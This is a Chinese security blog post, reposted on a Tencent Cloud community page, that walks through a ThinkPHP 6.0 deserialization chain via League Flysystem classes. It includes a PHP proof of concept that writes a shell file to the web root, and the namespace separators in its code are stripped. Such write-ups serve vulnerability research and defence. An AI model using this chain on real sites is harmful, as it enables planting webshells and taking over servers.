首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

Thinkphp 6.0反序列化链被挖掘全过程。

最近偶然间看到有师傅发了一条新的tp6.0的利用链出来。

分析

先给出利用链及poc:

LeagueFlysystemCachedStorageAbstractCache --> destruct()LeagueFlysystemCachedStorageAdapter --> save()LeagueFlysystemAdapterLocal --> write()

poc:

namespace LeagueFlysystemAdapter{ abstract class AbstractAdapter{ protected $pathPrefix;function __construct() { $this->pathPrefix = '/'; } } class Local extends AbstractAdapter{

}}

namespace LeagueFlysystemCachedStorage{ use LeagueFlysystemAdapterLocal; abstract class AbstractCache{ protected $autosave = false; protected $cache = [];function __construct() { $this->autosave = false; $this->cache = ["axin"=>""]; } }

class Adapter extends AbstractCache{ protected $adapter; protected $file;function __construct() { parent::__construct(); $this->adapter = new Local(); $this->file = '/opt/lampp/htdocs/axin.php'; } }}

namespace { use LeagueFlysystemCachedStorageAdapter; echo urlencode(base64_encode(serialize(new Adapter())));}

从poc中可以大概看出来我的这条利用链只是能够写入shell,不像其他大师傅们那些利用链可以直接执行命令,所以要弱鸡一点~

这次的利用链还是从常规的__destruct()以及__weakup()入手,经过全局搜索,最后锁定LeagueFlysystemCachedStorageAbstractCache类的__destruct方法:

public function __destruct(){ if (! $this->autosave) { $this->save(); } }

为了执行save,我们令$this->autosave=false,然后跟进save(),由于AbstractCache是一个抽象类,没有实现save方法,我们需要找到一个实现了save方法的子类(在phpstorm,鼠标右键类名,点击find usages可以找到类出现的地方,也就可以找到相关子类):

我这里利用的是Adapter类,其实很多子类都可以形成利用链,但是我感觉和之前师傅们挖的利用链有点撞车了,所以就不说其他的链了。我们看一下Adapter类的save方法:

public function save(){ echo "save执行!"; $config = new Config(); $contents = $this->getForStorage(); //$contents完全可控 echo '此时$contents的值:'.$contents.""; if ($this->adapter->has($this->file)) { $this->adapter->update($this->file, $contents, $config); } else { $this->adapter->write($this->file, $contents, $config); } }

上面的几处echo是我在调试poc时自己添加的,当我看到这里的write的时候我就感觉可能会存在文件写入操作,这里的write()的参数file可控,$config不可控,我们看一下$contents是否可控,跟进getForStorage():

public function getForStorage(){ echo "getForStorage执行!";$cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete, $this->expire]); //[{"axin":""},[],null] }

可以看到这里返回的值$this->complete,$this->expire都可以控制,我们再看看$cleaned,进入cleanContents():

public function cleanContents(array $contents){ $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', ]);

foreach ($contents as $path => $object) { // $contents=["axin"=>''] if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); }} return $contents; //$contents=["axin"=>''] }

由于参数我们可以控制,这里直接返回了我们传入的值,也就是getForStorage()函数中返回值我们是可以控制的,只不过进行了json转换,但是不影响我们后续利用,回到save函数,$this->adapter->write($this->file, $contents, $config);中前两个参数可控,而且$this->adapter可控,只要找到一个wirte方法有问题的类,我们就可以收工了,但是还要注意一点,这里要想执行到write()的前提是$this->adapter->has($this->file)==false,所以我们需要找的这个类不仅要实现了has与write方法,还要能够控制has方法的返回值为false

最终我定位到了LeagueFlysystemAdapterLocal类,我们看一下它的has方法:

public function has($path) // $path可控 {$location = $this->applyPathPrefix($path); //完全可控 return file_exists($location); }

看来只是判断我们传入的路径文件是否存在,不过在调用file_exists()之前,给路径添加了个前缀,applyPathPrefix:

public function applyPathPrefix($path) {return $this->getPathPrefix() . ltrim($path, '\/');}

用什么东西和我们的路径拼接了起来,继续看getPathPrefix() :

public function getPathPrefix(){ return $this->pathPrefix;}

而这里的$this->pathPrefix我们是可以控制的,所以回到has函数,只要我们输入的路径文件不存在,has就会返回false,就会执行到write():

public function write($path, $contents, Config $config){ echo "进入write函数!"; $location = $this->applyPathPrefix($path); echo '$location的值为:'.$location.""; $this->ensureDirectory(dirname($location)); if (($size = file_put_contents($location, $contents, $this->writeFlags)) === false) { return false; }

$type = 'file'; $result = compact('contents', 'type', 'size', 'path');

if ($visibility = $config->get('visibility')) { $result['visibility'] = $visibility; $this->setVisibility($path, $visibility);} return $result; }

可以看到这里执行了file_put_contents(),而且参数就是write函数的前两个参数,与$config无关,所以之前我们不能控制config也就不影响这里的shell写入。

通过之前的分析我们知道applyPathPrefix()的返回值我们是可控的,也就是$location可控,然后$contents就是之前json_encode()之后的那个值,所以file_put_contents的关键参数都是可控的,但是以防万一,我们还是看看ensureDirectory():

protected function ensureDirectory($root){if (!is_dir($root)) { echo "ensureDirectory执行!";$umask = umask(0); if ( ! @mkdir($root, $this->permissionMap['dir']['public'], true)) { $mkdirError = error_get_last();} umask($umask);clearstatcache(false, $root);if (!is_dir($root)) { $errorMessage = isset($mkdirError['message']) ? $mkdirError['message'] : ''; throw new Exception(sprintf('Impossible to create the root directory "%s". %s', $root, $errorMessage)); } } }

可以看到,这个函数并不影响我们的利用链,至此整条利用链结束,这条利用链比较难受的地方就是得知道网站绝对路径。

效果演示:自己构造一个反序列化输入点,发送请求(页面的输出是我自己方便调试打印的)

文件成功写入:

  • 发表于:
  • 原文链接https://page.om.qq.com/page/O2cLe1nef1np16oA1nuT_GrA0
  • 腾讯「腾讯云开发者社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 cloudcommunity@tencent.com 删除。

扫码

添加站长 进交流群

领取专属 10元无门槛券

私享最新 技术干货

扫码加入开发者社群
领券